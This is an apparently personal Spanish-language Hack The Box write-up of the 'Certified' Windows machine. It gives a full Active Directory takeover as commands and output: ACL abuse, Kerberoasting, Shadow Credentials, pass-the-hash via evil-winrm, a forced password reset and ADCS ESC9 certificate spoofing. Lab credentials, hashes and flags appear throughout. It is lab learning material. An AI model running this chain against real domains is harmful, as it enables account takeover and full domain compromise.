Certified

Hack The Box — Metodología Detallada

Certified

IP:	10.129.231.186
OS:	Windows
Dificultad:	Medium
Fecha:	17 Ago 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.231.186 -oG allPorts

# Output
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127

Hallazgo
Se identificaron multiples puertos abiertos de interes. Se procedio a realizar un escaneo de versiones para determinar los servicios exactos y evaluar posibles vectores de entrada.

Escaneo de versiones de puertos

    PORT     STATE SERVICE
    53/tcp   open  domain        Simple DNS Plus
    88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn   Microsoft Windows NetBIOS
    389/tcp  open  ldap          Microsoft Windows AD LDAP Domain: certified.htb,
     Site: Default-First-Site-Name)
    | ssl-cert: Subject:
    | Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb,
    445/tcp  open  microsoft-ds
    464/tcp  open  kpasswd5
    593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    636/tcp  open  ssl/ldap      Microsoft Windows AD LDAP
    3268/tcp open  ldap          Microsoft Windows AD LDAP
    3269/tcp open  ssl/ldap      Microsoft Windows AD LDAP
    5985/tcp open  http          Microsoft HTTPAPI 2.0 (WinRM)
    9389/tcp open  mc-nmf        .NET Message Framing
    
    Service Info: Host: DC01; OS: Windows

Hallazgo
Se identifico que el dominio es certified.htb y el FQDN del controlador de dominio es DC01.certified.htb.

Nota
La plataforma nos otorgo un acceso inicial como Judith.mader, de ahora en adelante se enumerara con este usuario hasta obtener el Domain Admin.

Enumeracion de AD

Enumeracion de usuarios en SMB

Hipótesis
Se procedio a enumerar usuarios del dominio via SMB para determinar cuantas cuentas existen en el DC e identificar si alguna contenia credenciales expuestas en el campo de descripcion.

    Usuario                 Ultimo PW Set         Descripcion
    Administrator           2024-05-13 14:53:16   Built-in administrator
    judith.mader            2024-05-14 19:22:11   -
    management_svc          2024-05-13 15:30:51   -
    ca_operator             2024-05-13 15:32:03   -
    alexander.huges         2024-05-14 16:39:08   -
    harry.wilson            2024-05-14 16:39:37   -
    gregory.cameron         2024-05-14 16:40:05   -

Hallazgo
Se identificaron 7 usuarios de dominio. Ninguno expone credenciales en el campo de descripcion. Se procedio a recolectar datos con BloodHound para mapear posibles rutas de ataque y movimiento lateral encadenado.

bloodhound-python -u judith.mader -p judith09 \
-dc DC01.certified.htb \
-d certified.htb -c All \
-ns 10.129.231.186

INFO: Connecting to LDAP server: DC01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Done in 00M 17S

Hallazgo
Se identificaron 10 usuarios, 53 grupos y 1 computadora en el dc certified.htbLos datos fueron importados a BloodHound CE para análisis visual de la cadena de ACLs, La query Shortest Paths to Domain Admins reveló que el ususario judith.mader tiene writeowner sobre el grupo MANAGEMENT,

Ataques y Abuso de ACLs

Cadena de escalada identificada

Hipótesis
Luego de obtener esta informacion con la herramienta bloodhound se decidio tracar un movimento horizontal desde judith.mader hasta Domain Admin pero no tiene via directa, sin embargo si tiene una via directa hacia CA_OPERATOR

Origen	ACL / Vector	Destino
`judith.mader`	WriteOwner	MANAGEMENT (Group)
`MANAGEMENT`	GenericWrite	`management_svc`
`management_svc`	GenericAll	`ca_operator`

WriteOwner: judith,mader → MANAGEMENT

Hipótesis
El usuario judith.mader posee WriteOwner sobre MANAGEMENT. Este permiso permite cambiar el propietario del objeto, y el propietario tiene WriteDACL implícito, lo que permite otorgarse GenericAll y posteriormente agregarse como miembro del grupo. El flujo es: cambiar owner → asignar FullControl → agregar miembro.

Paso 1 – Cambiar Owner de MANAGEMENT

    bloodyad -d certified.htb -i 10.129.231.186 \
    -u judith.mader -p 'judith09' \
    -H DC01.certified.htb \
    set owner MANAGEMENT judith.mader
    
    [+] Old owner S-1-5-21-729746778-2675978091-3820388244-512 is 
    now replaced by judith.mader on MANAGEMENT

Paso 2 – Cambiar Owner de MANAGEMENT

dacledit.py certified.htb/judith.mader:'judith09' \
-dc-ip 10.129.231.186 \
-principal judith.mader \
-target MANAGEMENT \
-ace-type allowed \
-action write -rights FullControl

[*] DACL modified successfully!

Paso 3 – Agregarse al grupo MANAGEMENT

bloodyad -d certified.htb -i 10.129.231.186 \
-u judith.mader -p 'judith09' \
-H DC01.certified.htb \
add groupMember 'MANAGEMENT' judith.mader

[+] judith.mader added to MANAGEMENT

Hallazgo
Se completó la cadena Judith.mader → MANAGEMENT. judith.mader es ahora miembro de MANAGEMENT, que posee GeneriWrite sobre el usuario MANAGEMENT_svc. Siguiente paso: abusar de ese permiso para obtener credenciales de MANAGEMENT_svc.

GenericWrite: grupo MANAGEMENT → `management_svc`

Hipótesis
El permiso GenericWrite sobre management_svc permite modificar atributos del objeto, incluyendo servicePrincipalName. Al registrar un SPN falso en la cuenta, esta se vuelve kerberoasteable: el DC emite un TGS cifrado con el hash de la contrasena del usuario, que puede ser crackeado offline sin interaccion con el objetivo.

# Registro del SPN temporal en management_svc
bloodyad -d certified.htb -i 10.129.231.186 \
-u judith.mader -p 'judith09' \
-H DC01.certified.htb \
set object management_svc servicePrincipalName \
-v 'fake/DC01.certified.htb'

[+] management_svc's servicePrincipalName has been updated

# Primer intento -- Error de clock skew
GetUserSPNs.py certified.htb/judith.mader:'judith09' \
-dc-ip 10.129.231.186 -request -outputfile kerberoast.txt

KerberosError: KRB_AP_ERR_SKEW(Clock skew too great)

# Intento de sincronizacion con ntpdate
sudo ntpdate 10.129.231.186
16 Aug 14:27:52 ntpdate[233865]: step time server 10.129.231.186 
offset +25201.232805 sec

# Segundo intento -- sigue fallando
KerberosError: KRB_AP_ERR_SKEW(Clock skew too great)

# Sincronizacion manual forzada
sudo systemctl stop systemd-timesyncd
sudo date --set="2026-08-16 14:29:22"
Sun Aug 16 02:29:22 PM UTC 2026

# Tercer intento -- hash obtenido exitosamente
GetUserSPNs.py certified.htb/judith.mader:'judith09' \
-dc-ip 10.129.231.186 -request -outputfile kerberoast.txt

ServicePrincipalName     Name            MemberOf
-----------------------  --------------  ------------------------------------------
fake/DC01.certified.htb  management_svc  CN=Management,CN=Users,DC=certified,DC=htb

# Crackeo del hash con Hashcat
hashcat -m 13100 kerberoast.txt \
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Status: Exhausted
Recovered: 0/1 (0.00%)

Hallazgo
Se obtuvo el hash TGS de management_svc mediante Targeted Kerberoasting. El crackeo con rockyou.txt no produjo resultados tras agotar las 14,344,384 entradas del diccionario, indicando que la contrasena no figura en wordlists comunes. El error KRB_AP_ERR_SKEW requirio sincronizacion manual del reloj del sistema con el DC antes de poder solicitar el ticket. Se descarto este vector y se procedio con Shadow Credentials como via alternativa.

Shadow Credentials: grupo MANAGEMENT → `management_svc`

Hipótesis
Al pertenecer al grupo MANAGEMENT, judith.mader hereda el permiso GenericWrite sobre management_svc. Este permiso permite modificar el atributo msDS-KeyCredentialLink, que es la base de Shadow Credentials: se agrega una clave publica controlada por el atacante al objeto del usuario objetivo. El DC emite un TGT usando esa clave, lo que permite obtener el hash NT del usuario sin conocer su contrasena.

Intento 1 – pywhisker

Se intento usar pywhisker pero fallo por un conflicto de versiones de la libreria cryptography instalada previamente, que rompio la cadena de importacion de ldapdomaindump.

pywhisker -d certified.htb -u judith.mader -p 'judith09' \
--target management_svc --action add \
--dc-ip 10.129.231.186

ImportError: cannot import name 'asn1' from 'cryptography.hazmat'

Intento 2 – bloodyad sin permisos

Se intento lanzar Shadow Credentials directamente con bloodyad sin haber agregado a judith al grupo MANAGEMENT previamente.

bloodyad -d certified.htb -u judith.mader -p 'judith09' \
--dc-ip 10.129.231.186 \
add shadowCredentials management_svc

insufficientAccessRights for CN=management service,CN=Users,DC=certified,DC=htb

Por que no funciono: judith.mader tiene WriteOwner sobre el grupo MANAGEMENT, no sobre management_svc directamente. El permiso GenericWrite sobre el usuario es heredado a traves del grupo, por lo que primero era necesario agregarse como miembro.

Intento 3 – agregar judith al grupo sin permisos DACL

bloodyad -d certified.htb -u judith.mader -p 'judith09' \
--dc-ip 10.129.231.186 \
add groupMember "CN=Management,CN=Users,DC=certified,DC=htb" judith.mader

insufficientAccessRights for CN=Management,CN=Users,DC=certified,DC=htb

Por que no funciono: judith.mader tenia WriteOwner sobre el grupo pero no tenia permisos de escritura sobre el atributo member. Era necesario primero otorgarse GenericAll sobre el grupo usando el ownership.

Secuencia correcta – 3 pasos encadenados

# Paso 1 -- Otorgarse GenericAll sobre MANAGEMENT usando WriteOwner
bloodyad -d certified.htb -i 10.129.231.186 \
-u judith.mader -p 'judith09' \
-H DC01.certified.htb \
add genericAll MANAGEMENT judith.mader

[+] judith.mader has now GenericAll on MANAGEMENT

# Paso 2 -- Agregarse al grupo MANAGEMENT
bloodyad -d certified.htb -i 10.129.231.186 \
-u judith.mader -p 'judith09' \
-H DC01.certified.htb \
add groupMember 'MANAGEMENT' judith.mader

[+] judith.mader added to MANAGEMENT

# Paso 3 -- Shadow Credentials sobre management_svc
bloodyad -d certified.htb -i 10.129.231.186 \
-u judith.mader -p 'judith09' \
-H DC01.certified.htb \
add shadowCredentials management_svc

[+] KeyCredential generated with following sha256 of RSA key: 
3e4c61a1c045852c1a03cba6de5ae83389bc23ea0c188c458c24c09506e1f414
[+] TGT stored in ccache file management_svc_UQ.ccache
NT: a091c1832bcdd4677c28b5a6a1295584

Hallazgo
Se obtuvo el hash NT de management_svc mediante Shadow Credentials. El flujo requirio tres pasos encadenados: primero otorgarse GenericAll sobre el grupo usando el WriteOwner de judith, luego agregarse como miembro para heredar el GenericWrite sobre management_svc, y finalmente inyectar las credenciales de sombra para obtener el TGT y derivar el hash NT sin conocer la contrasena original.

Acceso via WinRM

evil-winrm -i 10.129.231.186 \
-u management_svc \
-H a091c1832bcdd4677c28b5a6a1295584

*Evil-WinRM* PS C:\Users\management_svc\Desktop> type user.txt
ecef6403f5547d9934c614f1b940cd64

Hallazgo
Se obtuvo acceso al sistema como management_svc via WinRM utilizando Pass-the-Hash con el NT obtenido. Se leyo la flag de usuario: ecef64***cd64.

GenericAll: `MANAGEMENT_svc` → `CA_OPERATOR`

Hipótesis
El permiso GenericAll sobre ca_operator permite modificar cualquier atributo del objeto, incluyendo su contrasena. Al cambiarla, se obtiene acceso directo a la cuenta sin necesidad de crackear ningun hash.

bloodyad -d certified.htb -i 10.129.231.186 \
-u management_svc \
-p :a091c1832bcdd4677c28b5a6a1295584 \
-H DC01.certified.htb \
set password ca_operator 'Newpasswd'

[+] Password changed successfully!

Hallazgo
Se cambio la contrasena de ca_operator exitosamente aprovechando el permiso GenericAll. El nombre de la cuenta sugiere permisos sobre la Certificate Authority (CA) del dominio, lo que convierte a este usuario en el vector de entrada para abusar de ADCS.

ESC9: Abuso de plantilla sin Security Extension

Hipótesis
La plantilla CertifiedAuthentication tiene el flag NoSecurityExtension, lo que significa que el certificado emitido no incluye la extension de seguridad que vincula el certificado a la cuenta que lo solicito. El DC determina la identidad del solicitante unicamente por el UPN del certificado. Al tener GenericAll sobre ca_operator via management_svc, es posible modificar su UPN a [email protected], solicitar un certificado como ca_operator y que la CA lo emita con el UPN del Administrator. Ese certificado permite obtener el hash NT del Administrator sin conocer su contrasena.

Enumeracion de plantillas vulnerables

~/.local/share/pipx/venvs/certipy-ad/bin/certipy find \
-u ca_operator -p 'Newpasswd' \
-dc-ip 10.129.231.186 -vulnerable -stdout

Template Name       : CertifiedAuthentication
Enrollment Rights   : CERTIFIED.HTB\operator ca
Enrollment Flag     : NoSecurityExtension
[!] Vulnerabilities
ESC9              : Template has no security extension.

Hallazgo
Se identifico la plantilla CertifiedAuthentication vulnerable a ESC9. El grupo operator ca tiene derechos de enrollment, y ca_operator pertenece a ese grupo. El flag NoSecurityExtension es el prerequisito clave para el abuso.

Paso 1 – Leer UPN original de ca_operator

~/.local/share/pipx/venvs/certipy-ad/bin/certipy account read \
-u [email protected] \
-hashes :a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator \
-dc-ip 10.129.231.186

userPrincipalName : [email protected]

Paso 2 – Cambiar UPN de ca_operator a Administrator

~/.local/share/pipx/venvs/certipy-ad/bin/certipy account update \
-u [email protected] \
-hashes :a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator \
-upn [email protected] \
-dc-ip 10.129.231.186

[*] Successfully updated 'ca_operator'
userPrincipalName : [email protected]

Paso 3 – Solicitar certificado como ca_operator

~/.local/share/pipx/venvs/certipy-ad/bin/certipy req \
-u [email protected] \
-p 'Newpasswd' \
-ca 'certified-DC01-CA' \
-template 'CertifiedAuthentication' \
-dc-ip 10.129.231.186

[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Wrote certificate and private key to 'administrator.pfx'

Paso 4 – Restaurar UPN original de ca_operator

~/.local/share/pipx/venvs/certipy-ad/bin/certipy account update \
-u [email protected] \
-hashes :a091c1832bcdd4677c28b5a6a1295584 \
-user ca_operator \
-upn [email protected] \
-dc-ip 10.129.231.186

[*] Successfully updated 'ca_operator'
userPrincipalName : [email protected]

Paso 5 – Autenticarse con el certificado y obtener hash NT

~/.local/share/pipx/venvs/certipy-ad/bin/certipy auth \
-pfx administrator.pfx \
-domain certified.htb \
-dc-ip 10.129.231.186

[*] Got TGT
[*] Got hash for '[email protected]':
aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Hallazgo
Se obtuvo el hash NT del Administrator mediante autenticacion con el certificado ESC9. El certificado fue aceptado porque el DC no valida la vinculacion entre el certificado y la cuenta — solo lee el UPN, que en este caso apuntaba a [email protected].

Acceso como Administrator via WinRM

evil-winrm -i 10.129.231.186 \
-u Administrator \
-H 0d5b49608bbce1751f708748f67e2d34

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
90af6012b1cd70e98c513325bae866b2

Hallazgo
Se obtuvo acceso como Administrator via Pass-the-Hash con el hash NT derivado del certificado ESC9. Flag de root obtenida: 90af60***66b2.

Reflexión Final

Qué salió bien

La enumeracion de usuarios via SMB fue directa y permitio identificar rapidamente las cuentas del dominio sin necesidad de herramientas adicionales.
El analisis de BloodHound fue efectivo: se identifico la cadena completa de ACLs (WriteOwner → GenericWrite → GenericAll) antes de intentar cualquier explotacion, lo que permitio planificar los pasos en orden.
El flujo de ESC9 se ejecuto correctamente una vez identificada la plantilla vulnerable: cambio de UPN, solicitud del certificado, restauracion del UPN y autenticacion con el certificado fueron pasos limpios sin errores.
Se reconocio rapidamente que el Targeted Kerberoasting no iba a producir resultados con rockyou y se pivoto a Shadow Credentials sin perder demasiado tiempo.

Qué salió mal

Los conflictos de dependencias de Python (cryptography, impacket, pyasn1) generados al instalar pywhisker rompieron dacledit.py y el certipy del sistema. Fue necesario usar pipx para aislar el entorno de Certipy y ejecutarlo desde la ruta directa.
El clock skew de Kerberos requirio sincronizacion manual del reloj del sistema con el DC. ntpdate no fue suficiente y fue necesario detener systemd-timesyncd y forzar la hora manualmente con date --set.
El primer intento de agregar a judith al grupo MANAGEMENT fallo porque se tenia WriteOwner pero no permisos de escritura sobre el atributo member. Fue necesario primero otorgarse GenericAll sobre el grupo antes de poder modificar su membresia.
El hash de management_svc obtenido via Targeted Kerberoasting no pudo crackearse con rockyou.txt, lo que implica que la contrasena no figura en diccionarios comunes.

Lecciones aprendidas

Primera vez explotando ESC9. El flag NoSecurityExtension en una plantilla ADCS permite suplantar cualquier usuario del dominio modificando el UPN del solicitante antes de pedir el certificado. El DC no valida la vinculacion entre certificado y cuenta, solo lee el UPN.
Shadow Credentials es una alternativa solida cuando el Kerberoasting falla. Si el hash no crackea, modificar msDS-KeyCredentialLink via GenericWrite permite obtener el hash NT sin conocer la contrasena.
WriteOwner no es suficiente para modificar miembros de un grupo. Primero hay que convertir el ownership en GenericAll para poder escribir sobre el atributo member.
Instalar herramientas Python con pip --break-system-packages en BlackArch puede generar conflictos de dependencias que rompen otras herramientas del sistema. Usar pipx para herramientas criticas como Certipy aísla el entorno y evita estos problemas.
Kerberos requiere sincronizacion de reloj estricta con el DC ($\pm${=html}5 minutos). En HTB donde el DC esta en otra zona horaria, ntpdate puede no ser suficiente y es necesario forzar la hora manualmente.

Tiempo total

Tiempo total invertido en la resolución de la máquina: aproximadamente 2 horas.

Certified

Certified

Reconocimiento

Escaneo inicial

Escaneo de versiones de puertos

Enumeracion de AD

Enumeracion de usuarios en SMB

Ataques y Abuso de ACLs

Cadena de escalada identificada

WriteOwner: judith,mader → MANAGEMENT

Paso 1 – Cambiar Owner de MANAGEMENT

Paso 2 – Cambiar Owner de MANAGEMENT

Paso 3 – Agregarse al grupo MANAGEMENT

GenericWrite: grupo MANAGEMENT → management_svc

Shadow Credentials: grupo MANAGEMENT → management_svc

Intento 1 – pywhisker

Intento 2 – bloodyad sin permisos

Intento 3 – agregar judith al grupo sin permisos DACL

Secuencia correcta – 3 pasos encadenados

Acceso via WinRM

GenericAll: MANAGEMENT_svc → CA_OPERATOR

ESC9: Abuso de plantilla sin Security Extension

Enumeracion de plantillas vulnerables

Paso 1 – Leer UPN original de ca_operator

Paso 2 – Cambiar UPN de ca_operator a Administrator

Paso 3 – Solicitar certificado como ca_operator

Paso 4 – Restaurar UPN original de ca_operator

Paso 5 – Autenticarse con el certificado y obtener hash NT

Acceso como Administrator via WinRM

Reflexión Final

Qué salió bien

Qué salió mal

Lecciones aprendidas

Tiempo total

GenericWrite: grupo MANAGEMENT → `management_svc`

Shadow Credentials: grupo MANAGEMENT → `management_svc`

GenericAll: `MANAGEMENT_svc` → `CA_OPERATOR`